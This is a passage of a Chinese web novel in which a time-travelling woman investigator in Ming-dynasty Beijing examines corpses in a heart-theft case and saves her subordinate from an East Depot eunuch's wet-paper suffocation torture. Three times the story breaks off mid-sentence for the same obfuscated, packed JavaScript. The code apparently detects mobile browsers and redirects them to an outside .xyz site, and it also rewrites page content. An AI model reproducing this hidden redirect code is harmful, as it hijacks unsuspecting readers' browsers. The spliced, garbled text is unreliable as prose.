《锦衣月明(探案)》 7. 三个问题 这白马性子烈得很,只瞪着一双眼睛,气势汹汹的样子,想来周承恩是故意试自己的功力。 景暄和从小在内蒙古的外婆家长大,外婆家有很大的一片草场,景暄和对骑马也有别样的感情,是故她对御马的功夫还是十分自信的。 可惜的是,她如今只是个捕快,小吏而已,是没有资格骑马的,平常也只是用驴作交通工具,这下倒好,能过过瘾了。 景暄和从容一笑,一跃便上了马背,双腿陡然夹紧,握紧缰绳,那白马两蹄离地,长长地嘶吼了一声,景暄和还是稳稳地坐在马背之上。白马仍是不服气,开始在校场横冲乱撞,景暄和任由它胡闹,无论这白马如何冲撞,她都稳坐不动。白马就这样与景暄和斗了好几回合,见她还是在自己的背上,才垂下头去,表示服气。 周承恩只见阳光下,这人一身黛蓝色的常服,端坐于马背之上,下颚微扬,神态冷静,气质清华,倒叫人移不开眼。 “思逑,还有你们几个,陪景大人去义庄一趟吧。” 牵马少年撇了撇嘴,不情不愿地跟在景暄和后面离开了。 其实景暄和心里清楚,周承恩这么做是为了让这五人盯着她,若是到时候她不能成功破案,他们还能在过程中找出她的错处,将锅甩到她头上。 不过她也不恼,这顺天府人人都有一套自保之法,若是有人能够全心全意地相信一个陌生人,倒是奇闻了。 就在她与周承恩的五名手下去义庄的途中,却见阿呆骑着一头黑驴跟了过来。 那黑驴速度不慢,只是落在白马的后面,与白马相比又丑又笨。 景暄和下了马,等阿呆走近,背着手问他:“阿呆,你来干什么?” “老大,多个人手多份助力嘛,阿呆保证不给老大添乱!” “那县令大人和何捕头那边……” “老大你放心,我已经和他们打过招呼了,他们十分支持我,还给了我几两银子当饭钱呢。县令说了,若你能帮助破案,我们县衙也脸上沾光了。” “何捕头说什么了吗?” “老大,你又不是不知道,何捕头都快退休了,平时就是个酒蒙子,如今称病在家,自然不想管这些闲事。” 景暄和能在顺天府衙门成长地这么快,很大一部分“归功”于何捕头,他就是个老油条——整天说自己这里不舒服,那里有炎症,大事小事都丢给景暄和。 阴差阳错之下,何捕头的懒惰让她有了大把实践的机会,如今处理案子也更得心应手了。 景暄和看他憨态可掬的样子,不觉哑然失笑。见天色尚早,又到了一处小溪,便命五人先停下,在溪边休息一下。 景暄和与阿呆并肩坐在溪边,只见溪上波光闪闪,景色秀美,绿树掩映,水天一色。 湖边划过一只飞鸟,竟长着一身柳黄色的羽毛,个头极小,在水面上经过阳光一照,倒像碎金拂过一般。 阿呆指着这飞鸟,道:“老大,你说三足金乌到底长什么样子啊?有这飞鸟好看吗?” “传说中,三足金乌有三只脚,全身长着火红的羽毛,拥有太阳神力。唐代诗人杜甫曾作诗云:‘莲花交响共命鸟,金榜双回三足乌’,宋代陆游也曾作诗曰:‘明星虽高未须喜,三足阳乌生海底’。可见历朝历代的文人墨客们对这神鸟都很崇敬呢。” “那这世上真有神鸟存在吗?不会真的是三足金乌夺了那几人的心脏吧?” 景暄和摇头,道:“有没有神鸟我倒不知,但明眼人一看,此案就是凶手拿神鸟做幌子的,阿呆你跟了我这些年,竟然会问这种问题?” “可这案子真是诡异离奇啊,谁会这么变态,挖人心脏呢?况且三具尸体不是在一处地方发现的,这就更说不过去了。” 景暄和分析道:“现下我们须弄清楚三个问题,若这三个问题弄清楚了,也离破案不远了。” “哪三个问题呢?” 景暄和伸出一根指头,朗声道:“第一,死者真正的死因是什么?” “老大你糊涂了,这不是很明显吗?”阿呆摸着头,道:“既然是夺心案,那么死因肯定是失去了心脏啊。” “看问题可不能这么表面呀,”景暄和缓缓道:“生前被剜心脏和死后被剜心脏可是大大的不同。若是第一种情况,死者可能先被迷晕,再被剜去心脏,在被剜心脏的时候,受害人还有呼吸,那么死因就是失去心脏。 若是第二种情况,死者可能被重物敲击脑袋致死,或是被凶手灌入毒''药致死,死后再被剜心脏,那么死因就与丢失心脏无关了。” 阿呆点点头,道:“老大,你考虑问题可真周全!” 景暄和又伸出第二根指头,说:“第二,心脏去了哪里?” “离案发已经有三、四天的时间,心脏早就被凶手丢弃了吧。” “那可不一定。”景暄和努努嘴,说:“凶手之所以会夺心,不光是为了制造神鸟夺心的假象,还有可能对心脏有一种特殊的情怀。” “什么意思?” “据勘察现场的小吏来报,方圆十里都找不到丢失的心脏,就说明凶手很有可能将心脏带走了。 心脏是一个人的根本,很多凶手作案后都会有一种成就感,他们很有可能是将心脏收集起来,并且闲暇时就拿出来把玩,以便回忆自己作案时的快感。” 阿呆不禁泛起恶心,捂着胸口说:“凶手就不害怕吗?” “不是每个凶手都叫阿呆。” “喂,老大,你……” 景暄和伸出第三根指头,说道:“第三,三足金乌的标记寓意着什么?” “这个我可以帮助你。”阿呆道:“顺天府的藏书阁中有很多古书,我明天就去看,一定能从中找到许多三足金乌的故事。” “好,那这第三点就交给你了。”景暄和拍拍他的肩,说:“凶手八成是与这神鸟有关联,可能神鸟是他们家族的图腾,或是他们家乡供奉这种神鸟为灵兽。” 阿呆一向对他老大的分析能力十分钦佩,不由得问道:“老大,你这套断案的本领是跟谁学的?怎么一下就能抓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555457|155429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住案子的核心呢?” 景暄和自然不能说她是在现代大学学习了四年,经过许多熬鹰一样的岁月才小有所成,便编了一个瞎话,反正她说什么阿呆都相信。 “那是一个疯疯癫癫的老头,我在某处破庙遇到的。” 景暄和编故事的能力越来越好了,“那老头不是汉人,像是胡人,高鼻深目,说一口别扭的汉话,我看他可怜给了他一个馒头,他便非拉着我,将探案的技艺全部教给我,还给我了一本破烂不堪的册子。那本册子记录了许多种死法,还有许多破案的实例,那老头要我全部背熟,待他检验之后,便烧了那册子。” “竟有如此奇怪的人?”阿呆痴痴问道:“他可能是蒙古人吧,老大,连蒙古人你也敢救?要是我见了那蒙古鞑子,早就害怕地躲起来了。” 大明王朝此时内忧外患,北有蒙古压境,南有倭寇入侵,明成祖虽然将蒙古人赶到了贺兰山以外,可他们仍然贼心不死,蒙古骑兵骁勇善战,数十年来不断进犯,不得已,大明只得在北方设立了“九边”,先有辽东、宣府、大同、延绥四镇,后又加了宁夏、甘肃、蓟州、太原、固原五镇,专门对付蒙古族。 “也不一定吧,大明以外可不止蒙古族,还有女真部,吐蕃部,鞑靼部和诸多西域小国呢,谁知道那老头来自哪里?” “后来那老头呢?” “不知所踪,应该是云游四方去了。” 景暄和不想再逗阿呆,便结束了这个话题。 站起身,拍了拍身上的草屑,对阿呆说:“快走吧,我已经有些迫不及待想看看,那被夺心的死者,是什么样子。” *** 因为只有一方令牌,所以守门的侍卫只放景暄和一人进入义庄,另外周承恩还给她配了两民仵作协助验尸。 做好准备工作后,景暄和推门而入,房里的昏暗让她有些不适。 里面只零星地点着几盏灯,像暗夜中眨着的鬼眼,让人不禁想起一些鬼魅之物。 三具尸首并排躺在三张木床上。 景暄和掩下心中的紧张,命两名仵作用酒醋将尸体洗净,她首先看的便是心脏的伤口处。 从伤口可以判断,凶器是一把极为锋利的尖刀,因为切口整齐,不是一般的刀刃所能办到的。她又查验了伤口的附近,只见肉白,无血花,且皮肉不紧缩,所以可以判断,心脏是凶手杀死死者后剜出的。 若人活着时被刀所伤,则皮肉有张力,刀伤的皮肤会收缩,而且鲜血也会流出体外,若是死后再伤,则血脉不流通,便会出现如今的状况。 “请将这三位死者翻过身吧。”她对两名仵作说道。 “是,大人。” 两名仵作依言照做了,映入她眼帘的便是那暗红色的神鸟印记。 她仔细查看三名死者的印记,无一例外,都是被拓印上去的。这凶手很狡猾,故弄玄虚的功夫可是一流,想借神鸟的传说为自己洗脱罪责。 纵观死者面部,并非中毒致死,既然如此,真正的致命伤在哪里呢? 8. 东厂督主 景暄和将窗子打开,让室内的光线更亮一些,她每次找致命伤都会花许多功夫,很多情况下,致命伤往往在出其不意的地方,这就需要足够的耐心与细致。 在正常人看来,与死人同处一室甚是可怖,可景暄和却不这么觉得,只有让尸体“说话”,才能为九泉之下的死者鸣冤昭雪,这在她看来,简直是大大的功德一件。 奇怪的是,死者身上并没有多余伤口,景暄和仔细查验了他们的九窍,竟然一无所获。 不,她一定是漏了什么关键的地方! 小时候,景暄和的性子很急躁,对于不感兴趣的东西总是草草了事。她从小在草原长大,后来去了城里上学,爸爸是个古板又传统的人,说女儿家应该会琴棋书画,可景暄和除了对书有些兴趣,其余几样简直是三天打鱼,两天晒网。 上大学后,景暄和主修刑侦专业,辅修法医,对于验尸,她一开始也有些抵触,觉得过程太麻烦,可是随着实习经验的积累,便也慢慢磨练了性子,变得耐心细致起来。 她再次从死者的头部开始验起,突然,见头顶心似乎有异物。景暄和大惊,赶忙扒开头发查看,不看不知道,一看吓一跳,竟然在头顶发现了一根银针! 凶手是直接将银针按入死者头部的,有了这一发现,她赶忙让其他两位仵作也看另外两具尸首,与第一具尸首如出一辙。 将银针收集起来后,景暄和将三根针对着光一瞧,针头细小,在阳光下似乎泛着寒气。 是寒铁! 这寒铁不易获取,寻常的百姓更是难以获得,凶手极有可能藏在达官贵人之家,绝不是普通的百姓! “大人,验尸是否完成了呢?”一名仵作打了个哈欠,询问道。 他们已经在这间屋子待了快两个时辰,既然验到了致命伤,那他们的任务便也结束了吧。 “等等。”景暄和叫住他们,呵斥道:“死者的衣物、配饰、还有贴身之物都没有验看,怎么能到此为止呢?若你们对待凶案是这种随意的态度,想必死去的冤魂也不会轻饶你们!” 她的神态肃穆,自有一种威严,两人脸色一红,只觉得这位大人真是较劲。 他们经常对待尸首草草了事,而对其他物品更是随意——若心情好,看一眼,心情不好,困了乏了,便丢在一旁,从不过问。 而那些捕头们也没说什么,睁一只眼闭一只眼便过去了,怎么轮到这位大人却如此较劲呢? 景暄和仔细检查了死者的发簪,腰带,配饰等,都无甚收获,只觉得衣物有些发潮,似乎被绳子勒过,待看到鞋袜时,却泛起一丝疑惑——三人的鞋底沾染了淡色的花粉,一人的鞋底还有一小片花瓣。 景暄和将花瓣轻轻拿出,给两位仵作看,问道:“你们可知,这是什么花?” 两人接过,因为怕再被呵斥,所以这次不敢有丝毫马虎。 他们盯着瞧了半天,最后得出结论道:“禀大人,这应该是樱花,现今三月,正是樱花盛开的季节。” “樱花?”景暄和负着手,思索了一下,说道:“据我所知,顺天府气候干寒,本不适合樱花生长,那么这樱花,难道是从外省而来?” 这个想法一出来就被她否定了,若这樱花来自千里之外,到顺天府早就“零落成泥碾作尘”了,怎会有如此完整的存在? “大人,小人知道。”一名仵作趁机跟景暄和表现,他说:“离顺天府不远的建宁寺在一片山谷之中,那山谷气候比城内温暖许多,寺中生长着大片樱花,现今正是游人赏樱的好时节,大人何不从建宁寺入手呢?” “好家伙,原来如此。”景暄和拊掌一笑,看来被众人如此忌惮的“神鸟夺心案”,终于有头绪了。 小吏们曾向她禀报,在发现尸体的三处地方都发现了车轮碾压的痕迹,死者遇害后,尸体分别被抛到了这三处,而建宁寺很有可能就是第一案发现场,景暄和颇有拨开云雾见青天之感。 *** 出义庄后,阿呆见景暄和神情颇有自得之意,问道:“老大,可有好消息了?” 景暄和整了整衣帽,微笑道:“还记得刚才的三个问题吗?现在已经解决了第一个,我们现在便要去一个关键地方,那就是建宁寺。” “老大,难道你要烧香拜佛,祈求上天保佑你破案成功吗?” “你个呆瓜!”景暄和弹了一下阿呆的脑门,“自然是有重要证据指向此处,你以为我和你一样,天上打个雷都恐惧半天,还以为自己得罪天神了么?” “嗷,说话就说话,动什么手呢?”阿呆吃痛地捂住脑门道。 景暄和骑上白马,回头望了阿呆一眼,说:“现下时间紧急,我与锦衣卫的兄弟先行一步,你骑黑驴快些跟上吧。” 说罢便扬手挥鞭,白马仰天长啸一声,绝尘而去,扬起了一地灰尘。 阿呆被灰尘呛得咳嗽了两声,一抹额头,哭丧着脸,说:“老大,你等等我呀!” …… 不多时,景暄和一行纵马经过刚才的溪边,这时,小溪却被里里外外围了一圈,好不热闹。 外面的一层人都戴着尖帽,着白皮靴,穿褐色衣服,系小绦。 从服饰上看,应该是东厂番子。 史书上,明朝的东厂番子名声实在太差,景暄和对他们可没什么好印象,可她从未见过如此大的阵仗,溪边一定是有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555458|155429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么大人物,保不齐就是…… 景暄和心头一紧,将马停在小山坡的枣树下,这小山坡可以俯瞰小溪的全景,又因为树木荫蔽,是个藏身的好地方,锦衣卫的小旗们见她下马,便也随之停下。 “这样走走停停,要多久才能破案呢?我看你压根就不想破案,就是想白吃皇粮。”之前牵马的少年抱臂道,看来很有些不耐烦。 景暄和没有理他,只是往溪边望去,有一人正在垂钓,与其说是垂钓,不如说是小憩。 他躺在木制的躺椅上,将上好的紫檀木鱼竿架在一旁,有人拿伞给他遮阳,有人帮他扇风,他的身旁摆着四个装鱼的竹篓,这些竹篓大小相同,朝向一样,就连互相的间隔都相同。 竹伞微微偏斜,露出一张苍白得有些过分的脸。 他微微睁开眼睛,竟给人一种纯洁亲和的感觉,戴一顶黑帽,白色的袍子做工繁复,在阳光下泛出淡金色,隐约有风雅出尘之感。 这样的人,任凭谁看一眼都觉得他是文弱的书生,隽雅的侠士或是好心的邻人,可他偏偏不是。 在身体原主的记忆中,她曾与魏福忠有过一段交集。可这段记忆零零碎碎,景暄和也无法窥探其中的玄机。 不过景暄和敢肯定,如果原主泉下有知的话,第一次见到他,就会给他吃天下最毒的药,让他没有机会做那些丧心病狂、心狠手辣的事吧。 魏福忠的外表实在是良善,谁都不会想到,现今权倾朝野、令人闻风丧胆的东厂督主,会是这个样子吧。 见他醒了,身旁的小太监赶忙跪下,将茶杯双手奉上。 “干爹,请喝茶。”小太监清了清嗓子,大声道。 魏福忠喝了半口茶,摆了下手,那小太监跪着挪动到了另一边。 此时,景暄和的目光全落在魏福忠身上,自然没空在意那个小太监,可当那小太监抬起头的一刹那,景暄和全身的血液似乎在一瞬间凝结了。 她想说话,却怎么也说不出来,只是喉咙发出窸窣的声音,双脚不受控制地向前迈去。 理智却告诉她不能这样做,不能。 这时,远处突然窜出一个黑影,这黑影笨拙不堪,细看是一人骑在一头黑驴上,那黑驴横冲直撞,似乎失了控制。 “停下,快停下!”阿呆大喊道。 黑驴哪里听得懂人话? 它直直地冲入向溪边的人群,人群中爆发一阵惊呼——“保护厂公!保护厂公!” “阿弥陀佛,老天保佑啊!”阿呆大呼。 黑驴不要命地将排得整整齐齐的鱼篓撞翻,溅了魏福忠一身水。 最后阿呆连同着黑驴,一齐栽入了溪中…… 9. 贴纸闷毙 阿呆不识水性,只是一味地扑腾,那黑驴似乎被摔晕了,在溪里半天没有起来,最后阿呆和黑驴还是被东厂的太监给拉上来的。 天气有些凉,阿呆全身湿漉漉的,冷风一吹,不禁打了个哆嗦,却见魏福忠早就换了外衣,披上了件黑色的披风。 “多谢了!”阿呆并未多想,只是起身打算告辞,谁知两把长剑却比上了他的脖子,剑口锋利,似乎他一动,小命就没了。 “你竟敢冲撞干爹,真是不想活了!惊扰了干爹,就算是死一百次也不足惜!”递茶的小太监顿时来了精神,指着阿呆的鼻子说道,他的脸色因为激动而微微泛红,看来是魏福忠手下的心腹太监。 “我又不是故意的,再说了,你干爹都没说话,哪轮得到你来插嘴?”任凭阿呆反应再迟钝,也认出了这些人来自东厂,既然这狐假虎威的小太监认那人为干爹,就说明那人在东厂的地位不低。 “干爹,您说该如何是好呢?”小太监将腰弯成了九十度,乖乖听着魏福忠的吩咐。 阿呆有些瞧不起他,这小太监长相清秀,细皮嫩肉,应该不是苦出身,可是他卑躬屈膝的姿态却让人尤为不爽,简直是一副天生的奴才样。 魏福忠从袖中拿出一个做工精美的枣木烟杆,烟嘴镶嵌着玛瑙,小太监赶忙给他点上,魏福忠吸了一口,吐出薄雾,他的声音在烟雾中不甚清晰,有种冷冽之感。 “你可知道我这外袍是谁赐的?” 阿呆摇摇头:“不知。” “是当今圣上。”魏福忠眉头一皱,凛然道:“既是圣上所赐,你这小吏却将它弄脏了,真是叫人难办啊。” 阿呆盯着魏福忠,却见他继续说:“咱家的衣服,弄脏了弄破了,自然不打紧,可若是圣上御赐的,你就是弄掉一个线头,都是不可轻饶的,更何况是弄上了这么一大片水渍?” “那……我帮你洗干净不就成了?” 阿呆说着就要去拿衣服,脖上的两把长剑却比得更紧了。 “你说怎么办吧?”阿呆到底是直肠子,不会拐弯,面对这种情况也有些失策。 “这件事说好办也好办,说难办也难办,只是今儿个初一,是咱家吃斋念佛的日子,不宜见血。” 魏福忠抽了几口烟,将烟雾吐在阿呆的脸上,阿呆被这烟熏得直咳嗽,眼泪都快流出来了。 魏福忠缓缓道:“大明新从高丽国得了一批宣纸,本是用来糊窗户的,可若是你能帮我试一试这宣纸的好坏,那么这件事,我便在圣上面前替你摆平了,你觉得如何啊?” 就这么简单? 阿呆赶忙点头,用袖子抹了把脸,道:“我就说你长得不像坏人,看来我看人的眼光真准,那好吧,我帮你这个帮。那些宣纸在哪儿呢?” “巧了,今儿个我就带了。”魏福忠朝小太监微微抬头,小太监连忙叫人将宣纸拿出。 这纸微微泛黄,被裁成了相同的小块,魏福忠似乎有一种怪癖,所有的东西必须相同大小,甚至连太监站的位置间隔都要相同。 “怎么试呢?” 阿呆觉得十分新奇,魏福忠却朝随从使了个眼色,继而对阿呆说:“你乖乖按咱家说的去做就好了。” 人群中走出另一名太监,圆滚滚的身子,像个水桶。 他搬出一把长椅,阿呆被几个太监架着,推到椅子上睡下,太监将他的手脚绑住,胖太监按住他的头部。 “不是说试宣纸吗?怎么把我绑起来了?” 阿呆觉得疑惑,难道试宣纸还要先把他给绑起来吗? 却见魏福忠微笑道:“万事俱备,那我们便开始吧。” 胖太监露出一丝阴森森的笑,把阿呆看得毛骨悚然。 他将高丽纸沾水,贴在阿呆的口鼻处,又拿出第二层,也贴在了他的口鼻处…… 枣树下的景暄和暗叫不好,阿呆哪里知道,这就是传说中的“贴纸闷毙”,专门由太监施行。 犯人开始还通气,可是湿纸一张张贴上,一步步使人缺氧,最可怕的是,犯人的眼睛能看见,耳朵能听见,只是随着时间推移,窒息加剧,恐惧感不断加强…… 可以说,犯人是一点一点看着自己被折磨走向死亡的。 想不到过了这些年,魏福忠的手段愈加毒辣,他不喜欢见血,却有一万种方法杀人于无形,这是比直接杀死他们更让人畏惧的。 阿呆的脸憋得通红,已经呈猪肝色,魏福忠眼中却露出一丝光,那丝光夹杂着疯狂、兴奋、阴郁、变态……这一瞬间,景暄和仿佛看到了一个恶魔。 不行,若是再这样下去,阿呆会被闷死的! 景暄和回想穿越后与阿呆的相处,两人不止有同袍之谊,甚至还出生入死过。阿呆虽然胆小,可是他为人憨厚耿直,做事一丝不苟,可以说,阿呆不仅是景暄和的下属,更是她最信任的同僚,所以,她自当挺身而出。 “魏公公,小人有要事禀报!” 清朗的声音出现在魏福忠身后,他不由得向后望去,一名穿黛蓝色常服的少年推开人群,缓缓朝他走来。 阳光落在少年的身后,让他有种磊落的感觉,眼神明亮坚定,令人不可逼视,这一瞬间,仿佛万千的光华尽数落入了他的眸中。 “大胆!”小太监双手叉腰,挡在魏福忠面前。 “让他过来。”魏福忠淡淡道,心想,从这少年的打扮上看,应该是锦衣卫的人,他与锦衣卫指挥使周承恩向来面和心不和,可是同朝为官,却不好撕破脸。 小太监只得让开,愤恨地瞪了那少年一眼。 作男装打扮的景暄和快步走到阿呆身边,将他口鼻上的湿纸拿下,施礼道:“小人看管属下不利,惊扰了厂公,实在该死,可我这属下是个老好人,平常做了好事也不声张,这次他明明帮了厂公您一个大忙,却让您误会了。” “哦?”魏福忠收了那丝光,他本对这少年擅自拿下湿纸的行为很不满,可听他这么一说,倒有些感兴趣了。 景暄和道:“厂公,刚才您小憩的时候,有一只蜘蛛向您爬来,您的随从没有注意,这蜘蛛就快爬到您身上了,多亏我这呆头呆脑的属下一撞,才将蜘蛛撞到了一旁。” 魏福忠没有说话,他身旁的小太监却高声道:“休得满口胡言,哪里有蜘蛛?分明就是你这不良人随口捏造!” “这位公公,说话可要讲良心,你说我捏造,有什么证据?”景暄和看着那小太监,只觉得心中蔓延开酸意。 她定了定心神,移开目光,说:“现在那蜘蛛,已经爬到那位公公身上了。” 景暄和一指,胖太监吓了一跳,只见自己的腿上正有一只蜘蛛缓缓向上爬,因为与衣服颜色相近,不仔细看竟没看出来。 胖太监腿都吓软了,拼命地将身上的蜘蛛抖了下来。 这蜘蛛一看就是有毒,若是被咬一口,还不知会怎样。 “原来是误会一场啊。”魏福忠笑笑,抽了一口烟,烟雾缭绕中,他问景暄和:“你叫什么名字?” “小人名叫景暄和,现在在锦衣卫当差。” 她没有透露更多,只是面上挂出公式性的笑容。 “原来如此。”魏福忠摆摆手,道:“时间不早了,你去吧,不要耽误了公务。” “谢厂公开恩。”她隐去了笑容,却见魏福忠丝毫没有放开阿呆的意思,便试探着问道:“那我这属下?” 魏福忠说:“这世上有千百种人,有人恩怨分明,有人以德报怨,可咱家偏偏是另一种人,有恩不一定记得,若是结了仇,那可是必报无疑。” “厂公这是什么意思?” “这小吏先让咱家带回东厂吧,若是他命大,明日咱家自会派人送他回来。” 景暄和呼吸一滞,若是让魏福忠将阿呆带回东厂,还不知用什么方法处置他呢。 绝对不行! 可是现在她势单力薄,即使道理全在她这边,只要魏福忠说个不字,她又能如何? “老大,这位公公刚才是和我闹着玩的,就让我和他去东厂吧,他是绝对不会害我的。”阿呆到现在还为魏福忠说话。 “闭嘴。”景暄和撇过头,低声骂道,原来说人笨得去死是有道理的。 正在僵持中,远处突然传来一声太监的长音。 “圣谕到——” 魏福忠听到这三个字,赶忙在小太监的搀扶下起身。 “魏公公,皇上午睡刚醒,好像染了些风寒,急着传魏公公回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555459|155429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫呢。” “奴才这就起身。”魏福忠赶忙道,又沉吟了一下,对景暄和说:“现在咱家有要事在身,不容耽搁,你们先告退吧。” 景暄和一听“你们”,不禁大喜,一颗悬着的心终于放了下来。 她赶忙解开绑着阿呆的绳索,与阿呆一同告退。魏福忠的目光却落在了她的背影上,似乎在思索什么。 回宫的轿子中,小太监端上一盏蜜枣,这些枣子十分红润,色泽晶莹,一看就是最上品。 “干爹,别为这些莽夫生气,这是南直隶刚进贡到宫里的金丝琥珀蜜枣,两京一十三省中,就属这儿的蜜枣又大又甜,还请干爹享用!” 魏福忠拿起一颗枣,有些恍惚地说:“曾经也有人在我最落魄的时候给了我三颗蜜枣,可以说,就是靠那三颗蜜枣,才支撑着我走到了现在。” 小太监连忙说是。 “那是我第一次吃那么好的东西,当时我就在想,要是每天我都能吃到这样的佳肴,该有多快乐啊,谁想现在,天天吃,倒觉得腻了呢。” “干爹洪福齐天,区区几个蜜枣又算什么,往后还有数不尽的珍肴佳品,供干爹享用呢。” 魏福忠将烟杆放在一边,抬眸道:“如果说,给我这三颗蜜枣的人,是你姐姐呢?” 小太监顿时愣在当场,他惊愕地抬头,只对上一双带着散漫微笑的眼眸。 *** 去建宁寺的途中,景暄和一路都没有说话。 阿呆问:“老大,不会是我惹你生气了吧,你要打要骂就发泄出来,不要不说话啊。” “不关你的事。” “那你的表情为什么这么难过?阿呆从来没见你这样难过的样子。” 景暄和扯开一抹笑容,道:“我看起来很难过吗?” “是啊,老大你的眼睛是不会骗人的,每次你难过的时候,眼睛就像在下雨。” “你这呆子懂什么?”景暄和摇摇头,说:“你可知道,刚才那位公公是谁?” 阿呆平静道:“不就是号称九千九百岁的东厂督主魏福忠吗?” “你知道?” 阿呆的回答倒让景暄和惊讶了,如果他知道,为何还敢与魏福忠同归呢?要知道,死在魏福忠手下的冤魂,简直是不计其数。 “那人不光架子大,衣服还是圣上御赐的,大家对他都噤若寒蝉,也只有魏福忠敢这样吧。” “你就不怕吗?” “怕什么?事情是我一个人惹出的,男子汉大丈夫,一人做事一人当,阿呆不想把老大也牵连进来,进了东厂,最多也就是一死吧,难道这世上还有比死更可怕的吗?” “当然有,最可怕的是生不如死!”景暄和顿了顿,道:“曾经有四个平民在暗室里喝酒谈心,一人大骂魏福忠,其他三人战战兢兢,不敢说话,还未骂完,便有东厂番子冲进来,将四人带走。他们当着魏福忠的面将那人剥了皮,其他三人失魂落魄,差点被吓成了疯子。难道这样,你还不怕么?” “怕,可是怕又有什么用呢?”阿呆舔了下嘴唇,道:“老大能够牺牲培养了很长时间的蜘蛛,来救我的命,阿呆已经很感激了,能帮我到这个份上,已经足够了。” 景暄和看着这双黑眸,突然笑了:“看来我得重新认识一下你了,这还是我以前认识的那个又蠢又笨的阿呆么?” 阿呆不好意思地挠挠头,说:“现在你可以告诉我,自己在难过什么了吧?” 景暄和沉吟了一下,道:“如果你找了很久的人,有一天却发现,他变成了你完全不认识的样子,你还会认他吗?” “你说的是亲人还是朋友?” “有区别吗?” “当然有。”阿呆煞有介事道:“如果是朋友,那么我会尊重他的选择,因为每个人想法不一样,要走的路也不同,可若是亲人,就不一样了,毕竟是血浓于水的亲情,无论选择如何,总归应该殊途同归的。” 景暄和叹息了一声,道:“说得对,不过我现在想一个人静静。” 一扬马鞭,白马嘶吼了一声,加快速度,将阿呆远远地甩在了后面。 “老大,你又欺负我!”阿呆瘪着嘴巴,只怪坐下的黑驴太慢了。 10. 烈火迷雾(1) 前任左都御史于景涟家有两个孩子,于歌笛和于恺之。 这两人性格一静一动,在姐姐于歌笛安静腼腆,成为名门淑女的时候,弟弟于恺之就就像个泥猴子一般,三天不打上房揭瓦。 于恺之不是个听话的性子,可他却很怕自己的父亲于景涟,比如父亲说男孩子应该正襟危坐,他每次就笔直地坐着,将手放在膝盖上,连头都不敢动,即使额头冒出细汗,或是有苍蝇蚊虫飞过,他也不动。 又比如,父亲说男孩应该学骑马射箭,即使于恺之不喜欢这些东西,也硬着头皮上马,有次他从马上摔下,膝盖都破了,他仍是二话不说,继续上马。 于歌笛喜欢研究蛇虫鼠蚁,于恺之却痴迷山水画,巧合的是,于恺之和东晋的著名画家顾恺之名字相同,于景涟总说,于恺之喜欢画画,是上天冥冥之中的缘分。 这样性格截然不同的姐弟,感情却很好,于歌笛闲逛书斋时,总不忘给弟弟带一些奇人异士的书画,而于恺之与友人在山水间徜徉时,也不忘给姐姐抓一些样式奇特的昆虫。 景暄和来到大明后,因为不忍心忠臣之后蒙冤,所以一直在帮于歌笛找弟弟,可就像大海捞针一样。史书上,于景涟冤死后,这家人的故事也戛然而止了,再没留下只言片语。 谁也没有想到,八年后,他们二人竟会以这样一种方式见面。 景暄和看到于恺之在杀父仇人魏福忠面前卑躬屈膝的一刹那,甚至升起一个念头,要是他在流亡途中病死了该有多好,总比这般窝囊地活着要好,可他是原主的亲弟弟,能够活着,总比死要好的。 如果于歌笛在的话,应该也会这样想吧。她不知道当年流亡途中于恺之发生了什么,更加不能代替他去抉择。 不过。 八年能够改变太多东西了,更何况,有时一个选择便能让人走上南辕北辙的道路,又何须八年那么长? 景暄和的思绪伴随着哒哒的马蹄声纷乱交错,只觉得内心有种说不出的苦涩,真是造化弄人啊。 不觉间便来到了建宁寺。 景暄和摇了摇头,现下想这些又有什么用?且先做好眼前的事吧。 …… 奔波了一天,时间已近傍晚,夜雾笼罩中,建宁寺显得格外肃穆沉寂,杏黄色的围墙,鸦青色的殿脊,还有暗红色的大门,不远处传来诵经的声音,和着一幕幕剪影,荡漾在夕阳的余晖之下。 香客大多回去了,只有一个小和尚缓缓向他们步来,道:“阿弥陀佛,众位施主光临我寺,有何贵干?” “我们是锦衣卫来查案的,小秃驴,还不快让你们住持来见我们,要晚了一刻,小心你的脑袋。”那眼珠灵活的小旗抢先道。 景暄和瞪了他一眼,有些抱歉地说:“这位小师父,我的属下有些莽撞,还请您见谅,我们正在追查一起大案,现在线索指向贵寺,事关重大,还请您立刻禀报住持,多谢了。” “原来如此,我这就禀报师傅。”小和尚并未理会小旗的粗言,朝他们双手合十,便转身离开了。 小旗翻了个白眼,说:“假模假样的。” “咦,我怎么听到了奇怪的声音?”景暄和转头问阿呆。 “老大,什么声音?” “我听见一条大狼狗在狂吠,真是莫名其妙啊。” 小旗不解道:“哪有什么大狼狗?你幻听了吧。” “喏,大狼狗又叫了。”景暄和笑着说。 